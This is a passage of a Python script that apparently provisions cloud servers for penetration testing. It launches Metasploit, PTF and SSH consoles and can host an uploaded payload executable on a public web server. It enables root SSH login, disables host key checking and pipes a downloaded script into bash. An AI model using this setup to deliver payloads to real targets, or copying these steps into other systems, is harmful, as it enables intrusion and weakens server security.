./msfconsole" >> .bashrc' 668 | remote_ssh('root', ip_address, cmd) 669 | 670 | # Launch xterm window 671 | success('Launching msf console') 672 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s" % (homeDir, keyName, ip_address) 673 | debug("SHELL CMD: " + sshcmd) 674 | terminalcmd = "%s --geometry=104x56+960+0 --title='MSF on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 675 | debug("Terminal CMD: " + terminalcmd) 676 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 677 | success('Done!') 678 | 679 | ############################################################################################# 680 | # Launch Plain Console 681 | ############################################################################################# 682 | def launch_plain(): 683 | 684 | # Launch instances 685 | debug('Launching plain instance') 686 | ip_address = launch_instance() 687 | 688 | # Launch xterm window 689 | success('Launching console console') 690 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 ubuntu@%s" % (homeDir, keyName, ip_address) 691 | debug("SHELL CMD: " + sshcmd) 692 | terminalcmd = "%s --geometry=104x56+960+0 --title='SSH on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 693 | debug("Terminal CMD: " + terminalcmd) 694 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 695 | success('Done!') 696 | 697 | ############################################################################################# 698 | # Launch WWW Console 699 | ############################################################################################# 700 | def launch_www(): 701 | 702 | # Custom Resource Script 703 | warning("Enter /path/payload.exe file to be upload/hosted. Enter for none.") 704 | payload = raw_input("Payload: ") 705 | 706 | # Launch instances 707 | debug('Launching www instance') 708 | ip_address = launch_instance() 709 | 710 | # Provision instance 711 | success("Provisioning Instance") 712 | 713 | # Permit Root Logon 714 | success("Enabling Root Logon") 715 | cmd = "sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config" 716 | remote_ssh('ubuntu', ip_address, cmd) 717 | 718 | # Copy Keys 719 | success("Updating SSH Keys") 720 | cmd = "sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/" 721 | remote_ssh('ubuntu', ip_address, cmd) 722 | 723 | # Restarting Service to take new config (you'd think a simple reload would be enough) 724 | success("Restarting SSH service") 725 | cmd = "sudo service ssh restart" 726 | remote_ssh('ubuntu', ip_address, cmd) 727 | 728 | # Install Dependencies 729 | success('Installing dependencies') 730 | cmd = "apt-get update; apt-get install screen -y" 731 | remote_ssh('root', ip_address, cmd) 732 | 733 | # create hosting dir 734 | success('Setting up www root') 735 | cmd = "mkdir /var/www; chown ubuntu /var/www;" 736 | remote_ssh('root', ip_address, cmd) 737 | 738 | if (len(payload) > 0): 739 | success('Uploading payload for hosting') 740 | payload_filename = payload.split('/') 741 | remote_scp('root', ip_address, payload, '/var/www/' + payload_filename[-1]) 742 | 743 | # Launch python simpler server on remote host, but backgrounded as a screen session 744 | success('Starting python SimpleHTTPServer Instance') 745 | cmd = 'screen -d -m bash -c "cd /var/www/; sudo python -m SimpleHTTPServer ' + args.port + '; exec bash"' 746 | remote_ssh('ubuntu', ip_address, cmd) 747 | 748 | # Update ubuntu profile 749 | success('Changing ubuntu profile') 750 | cmd = 'echo "screen -x" >> .profile' 751 | remote_ssh('ubuntu', ip_address, cmd) 752 | 753 | # Launch xterm window 754 | success('Launching console console') 755 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 ubuntu@%s" % (homeDir, keyName, ip_address) 756 | debug("SHELL CMD: " + sshcmd) 757 | terminalcmd = "%s --geometry=104x56+960+0 --title='www on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 758 | debug("Terminal CMD: " + terminalcmd) 759 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 760 | success('Done!') 761 | 762 | if (len(payload) > 0): 763 | success("File hosted at: http://" + args.dns + "." + ZONE_NAME + ":" + args.port + "/" + payload_filename[-1]) 764 | else: 765 | success("Webserver started at: http://" + args.dns + "." + ZONE_NAME + ":" + args.port + "/") 766 | 767 | ############################################################################################# 768 | # Launch Pentetration Testers Framework (PTF) 769 | ############################################################################################# 770 | def launch_ptf(): 771 | 772 | # Launch instances 773 | debug('Launching Penetration Testers Framework (PTF) instance') 774 | ip_address = launch_instance() 775 | 776 | # Provision instance 777 | success("Provisioning instance") 778 | 779 | # Permit Root Logon 780 | success("Enabling root logon") 781 | cmd = "sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config" 782 | remote_ssh('ubuntu', ip_address, cmd) 783 | 784 | # Copy Keys 785 | success("Updating SSH keys") 786 | cmd = "sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/" 787 | remote_ssh('ubuntu', ip_address, cmd) 788 | 789 | # Restarting Service to take new config (you'd think a simple reload would be enough) 790 | success("Restarting SSH service") 791 | cmd = "sudo service ssh restart" 792 | remote_ssh('ubuntu', ip_address, cmd) 793 | 794 | # Installing Dependencies for PTF 795 | success('Installing dependencies') 796 | cmd = "apt-get update; apt-get install subversion python-setuptools python-dev screen git git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties libffi-dev -y" 797 | remote_ssh('root', ip_address, cmd) 798 | 799 | success('Even more dependencies') 800 | cmd = 'easy_install pip; pip install --upgrade virtualenv' 801 | remote_ssh('root', ip_address, cmd) 802 | 803 | # Install Ruby 804 | success('Installing ruby') 805 | cmd = 'gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3' 806 | remote_ssh('root', ip_address, cmd) 807 | 808 | cmd = 'curl -sSL https://get.rvm.io | bash -s stable --ruby' 809 | remote_ssh('root', ip_address, cmd) 810 | 811 | cmd = 'echo "source /usr/local/rvm/scripts/rvm" >> .bashrc' 812 | remote_ssh('root', ip_address, cmd) 813 | 814 | cmd = 'source /usr/local/rvm/scripts/rvm; rvm install ruby-2.3.1; rvm use 2.3.1 --default' 815 | remote_ssh('root', ip_address, cmd) 816 | 817 | # Install ptf 818 | success('Installing PTF') 819 | cmd = 'git clone https://github.com/trustedsec/ptf' 820 | remote_ssh('root', ip_address, cmd) 821 | 822 | # Launch PTF on remote host, but backgrounded as a screen session 823 | success('Starting python SimpleHTTPServer Instance') 824 | cmd = 'screen -d -m bash -c "cd ptf; ./ptf; exec bash"' 825 | remote_ssh('root', ip_address, cmd) 826 | 827 | # Update ubuntu profile 828 | success('Changing ubuntu profile') 829 | cmd = 'echo "screen -x" >> .profile' 830 | remote_ssh('root', ip_address, cmd) 831 | 832 | # Launch xterm window 833 | success('Launching console console') 834 | sshcmd = "/usr/bin/ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s" % (homeDir, keyName, ip_address) 835 | debug("SHELL CMD: " + sshcmd) 836 | terminalcmd = "%s --geometry=104x56+960+0 --title='ptf on %s' -e '%s'" % ( terminal_path, ip_address, sshcmd) 837 | debug("Terminal CMD: " + terminalcmd) 838 | subprocess.call(terminalcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 839 | success('Done!') 840 | 841 | ############################################################################################# 842 | # Main 843 | ############################################################################################# 844 | 845 | if args.app == "empire": 846 | launch_empire() 847 | elif args.app == "dirb": 848 | launch_dirb() 849 | elif args.app == "msf": 850 | launch_msf() 851 | elif args.app == "plain": 852 | launch_plain() 853 | elif args.app == "www": 854 | launch_www() 855 | elif args.app == "ptf": 856 | launch_ptf() 857 | else: 858 | sys.exit(-1) 859 | 860 | print "\n+++++++++++++++++++++++++++++" 861 | print "+ Leave this terminal open! +" 862 | print "+++++++++++++++++++++++++++++\n" 863 | print "[" + bcolors.WARNING + "~" + bcolors.ENDC +"] Press " + bcolors.BOLD + "ctrl + c" + bcolors.ENDC + " to terminate the script gracefully." 864 | while 1: 865 | null = raw_input() 866 | --------------------------------------------------------------------------------